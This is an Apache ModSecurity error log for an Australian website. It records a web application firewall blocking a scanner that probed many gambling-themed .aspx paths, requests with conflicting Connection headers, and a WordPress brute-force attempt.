[Thu Mar 26 16:07:59.964712 2026] [:error] [pid 31780:tid 31836] [client 151.196.18.82:58344] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acTpX5JDwZsy5O4ZXEhoBAAAAg8"]
[Thu Mar 26 16:08:00.802371 2026] [:error] [pid 31670:tid 31674] [client 151.196.18.82:58352] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acTpYDXVthXxCnWjOTQ2YgAAAUI"]
[Thu Mar 26 16:08:03.342881 2026] [:error] [pid 31717:tid 31723] [client 151.196.18.82:58374] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acTpY7-SCF7YDISDX4_IpwAAAYE"]
[Thu Mar 26 16:08:04.205163 2026] [:error] [pid 31670:tid 31686] [client 151.196.18.82:58378] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acTpZDXVthXxCnWjOTQ2aAAAAU4"]
[Thu Mar 26 16:08:06.630296 2026] [:error] [pid 31670:tid 31694] [client 151.196.18.82:58393] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acTpZjXVthXxCnWjOTQ2bwAAAVY"]
[Thu Mar 26 16:08:07.485050 2026] [:error] [pid 31670:tid 31696] [client 151.196.18.82:58397] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acTpZzXVthXxCnWjOTQ2cQAAAVg"]
[Thu Mar 26 16:08:09.952318 2026] [:error] [pid 31670:tid 31691] [client 151.196.18.82:58406] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acTpaTXVthXxCnWjOTQ2dwAAAVM"]
[Thu Mar 26 16:08:10.787172 2026] [:error] [pid 31780:tid 31823] [client 151.196.18.82:58412] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acTpapJDwZsy5O4ZXEhoIwAAAgM"]
[Thu Mar 26 16:08:13.237012 2026] [:error] [pid 31780:tid 31843] [client 151.196.18.82:58431] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acTpbZJDwZsy5O4ZXEhoJgAAAhY"]
[Thu Mar 26 16:08:14.075784 2026] [:error] [pid 31717:tid 31745] [client 151.196.18.82:58437] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acTpbr-SCF7YDISDX4_IuAAAAZc"]
[Thu Mar 26 16:08:16.390325 2026] [:error] [pid 19710:tid 19732] [client 151.196.18.82:58446] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acTpcAVEWP8Ar68Njk7qlQAAAAo"]
[Thu Mar 26 16:08:17.245520 2026] [:error] [pid 31778:tid 31798] [client 151.196.18.82:58454] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acTpcQ3kybI2o-xasmDTrwAAAcU"]
[Thu Mar 26 16:08:19.737082 2026] [:error] [pid 19711:tid 19772] [client 151.196.18.82:58468] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acTpc2j3l1y81GYfluR_OwAAAFc"]
[Thu Mar 26 16:08:20.579542 2026] [:error] [pid 31670:tid 31696] [client 151.196.18.82:58472] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acTpdDXVthXxCnWjOTQ2jgAAAVg"]
[Thu Mar 26 16:08:34.235866 2026] [:error] [pid 31670:tid 31696] [client 151.196.18.82:58508] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acTpgjXVthXxCnWjOTQ2tAAAAVg"]
[Thu Mar 26 16:08:35.079025 2026] [:error] [pid 31717:tid 31732] [client 151.196.18.82:58519] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acTpg7-SCF7YDISDX4_IwwAAAYo"]
[Thu Mar 26 16:08:37.365996 2026] [:error] [pid 19818:tid 19835] [client 151.196.18.82:58539] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acTphczaSnm3d1BeM5WyKgAAAM8"]
[Thu Mar 26 16:08:38.203687 2026] [:error] [pid 19818:tid 19823] [client 151.196.18.82:58542] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acTphszaSnm3d1BeM5WyMQAAAMM"]
[Thu Mar 26 16:09:02.840726 2026] [:error] [pid 31670:tid 31682] [client 151.196.18.82:58577] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acTpnjXVthXxCnWjOTQ3DQAAAUo"]
[Thu Mar 26 16:09:03.671689 2026] [:error] [pid 31780:tid 31826] [client 151.196.18.82:58707] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acTpn5JDwZsy5O4ZXEhojgAAAgY"]
[Thu Mar 26 16:09:04.508180 2026] [:error] [pid 19818:tid 19825] [client 151.196.18.82:58708] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "acTpoMzaSnm3d1BeM5WyZgAAAMU"]
[Thu Mar 26 16:09:07.018045 2026] [:error] [pid 31778:tid 31793] [client 151.196.18.82:58724] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acTpow3kybI2o-xasmDT6wAAAcA"]
[Thu Mar 26 16:09:07.875097 2026] [:error] [pid 19711:tid 19770] [client 151.196.18.82:58731] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "acTpo2j3l1y81GYfluR_TgAAAFU"]
[Thu Mar 26 16:09:10.309445 2026] [:error] [pid 19818:tid 19828] [client 151.196.18.82:58743] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acTppszaSnm3d1BeM5WybQAAAMg"]
[Thu Mar 26 16:09:11.143510 2026] [:error] [pid 19712:tid 19791] [client 151.196.18.82:58746] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acTpp9WhKhRNqm23vFMMiwAAAI8"]
[Thu Mar 26 16:09:13.578062 2026] [:error] [pid 60829:tid 60846] [client 151.196.18.82:58758] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acTpqfTdjHKeZokybaScswAAAQ8"]
[Thu Mar 26 16:09:14.420035 2026] [:error] [pid 60829:tid 60851] [client 151.196.18.82:58761] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "acTpqvTdjHKeZokybaSctQAAARQ"]
[Thu Mar 26 16:09:16.914861 2026] [:error] [pid 31717:tid 31740] [client 151.196.18.82:58778] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acTprL-SCF7YDISDX4_I3gAAAZI"]
[Thu Mar 26 16:09:17.752613 2026] [:error] [pid 19818:tid 19838] [client 151.196.18.82:58788] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "acTprczaSnm3d1BeM5WyewAAANI"]
[Thu Mar 26 16:09:20.084698 2026] [:error] [pid 19710:tid 19729] [client 151.196.18.82:58800] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acTpsAVEWP8Ar68Njk7qswAAAAc"]
[Thu Mar 26 16:09:20.939024 2026] [:error] [pid 19818:tid 19828] [client 151.196.18.82:58802] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "acTpsMzaSnm3d1BeM5WyhwAAAMg"]
[Thu Mar 26 16:09:23.393399 2026] [:error] [pid 19818:tid 19835] [client 151.196.18.82:58814] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acTps8zaSnm3d1BeM5WylAAAAM8"]
[Thu Mar 26 16:09:24.248107 2026] [:error] [pid 31778:tid 31808] [client 151.196.18.82:58818] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acTptA3kybI2o-xasmDT_AAAAc8"]
[Thu Mar 26 16:09:26.734417 2026] [:error] [pid 19711:tid 19771] [client 151.196.18.82:58830] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acTptmj3l1y81GYfluR_XAAAAFY"]
[Thu Mar 26 16:09:27.565176 2026] [:error] [pid 31778:tid 31803] [client 151.196.18.82:58843] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acTptw3kybI2o-xasmDUBwAAAco"]
[Thu Mar 26 16:09:30.072847 2026] [:error] [pid 19710:tid 19741] [client 151.196.18.82:58855] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acTpugVEWP8Ar68Njk7quAAAABM"]
[Thu Mar 26 16:09:30.908257 2026] [:error] [pid 31670:tid 31674] [client 151.196.18.82:58858] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acTpujXVthXxCnWjOTQ3PQAAAUI"]
[Thu Mar 26 16:09:33.372573 2026] [:error] [pid 31780:tid 31839] [client 151.196.18.82:58870] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acTpvZJDwZsy5O4ZXEhongAAAhI"]
[Thu Mar 26 16:09:34.211431 2026] [:error] [pid 19818:tid 19839] [client 151.196.18.82:58877] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acTpvszaSnm3d1BeM5WyuAAAANM"]
[Thu Mar 26 16:09:36.694838 2026] [:error] [pid 19818:tid 19822] [client 151.196.18.82:58886] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acTpwMzaSnm3d1BeM5WyyAAAAMI"]
[Thu Mar 26 16:09:37.552707 2026] [:error] [pid 60829:tid 60854] [client 151.196.18.82:58895] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acTpwfTdjHKeZokybaScwgAAARc"]
[Thu Mar 26 16:09:40.010638 2026] [:error] [pid 19818:tid 19833] [client 151.196.18.82:58906] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acTpxMzaSnm3d1BeM5Wy4AAAAM0"]
[Thu Mar 26 16:09:40.851484 2026] [:error] [pid 60829:tid 60843] [client 151.196.18.82:58910] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acTpxPTdjHKeZokybaScxwAAAQw"]
[Thu Mar 26 16:09:43.310834 2026] [:error] [pid 31780:tid 31832] [client 151.196.18.82:58924] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acTpx5JDwZsy5O4ZXEho0wAAAgs"]
[Thu Mar 26 16:09:44.157617 2026] [:error] [pid 19818:tid 19820] [client 151.196.18.82:58930] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acTpyMzaSnm3d1BeM5Wy9AAAAMA"]
[Thu Mar 26 16:09:46.529701 2026] [:error] [pid 19818:tid 19828] [client 151.196.18.82:58940] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acTpyszaSnm3d1BeM5Wy_QAAAMg"]
[Thu Mar 26 16:09:47.389399 2026] [:error] [pid 31670:tid 31690] [client 151.196.18.82:58948] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acTpyzXVthXxCnWjOTQ3dgAAAVI"]
[Thu Mar 26 16:09:49.861618 2026] [:error] [pid 19818:tid 19834] [client 151.196.18.82:58966] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acTpzczaSnm3d1BeM5WzCwAAAM4"]
[Thu Mar 26 16:09:50.700668 2026] [:error] [pid 31670:tid 31691] [client 151.196.18.82:58968] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acTpzjXVthXxCnWjOTQ3ewAAAVM"]
[Thu Mar 26 16:09:53.512534 2026] [:error] [pid 19712:tid 19797] [client 151.196.18.82:58980] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acTp0dWhKhRNqm23vFMMlwAAAJU"]
[Thu Mar 26 16:09:54.351929 2026] [:error] [pid 19712:tid 19799] [client 151.196.18.82:58984] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acTp0tWhKhRNqm23vFMMmgAAAJc"]
[Thu Mar 26 18:38:44.728158 2026] [:error] [pid 19710:tid 19730] [client 43.135.183.82:42260] [client 43.135.183.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acUMtAVEWP8Ar68Njk7-DAAAAAg"]
[Thu Mar 26 20:24:42.530369 2026] [:error] [pid 19818:tid 19835] [client 111.172.249.49:35330] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acUliszaSnm3d1BeM5UhdwAAAM8"]
[Thu Mar 26 21:47:19.267372 2026] [:error] [pid 19710:tid 19723] [client 4.206.17.96:11677] [client 4.206.17.96] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 4.206.17.96 on wp-login.php, counter = 16"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acU45wVEWP8Ar68Njk4joAAAAAE"]
